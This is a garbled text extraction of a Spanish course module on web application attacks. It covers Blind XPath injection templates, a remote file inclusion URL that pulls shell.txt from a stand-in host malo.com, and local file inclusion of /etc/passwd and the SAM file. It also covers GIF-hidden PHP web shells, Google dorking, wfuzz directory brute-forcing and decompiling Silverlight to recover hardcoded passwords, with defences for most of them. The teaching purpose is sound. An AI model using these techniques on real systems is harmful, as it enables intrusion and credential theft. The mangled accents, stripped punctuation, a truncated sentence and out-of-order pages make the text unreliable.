bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 48: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

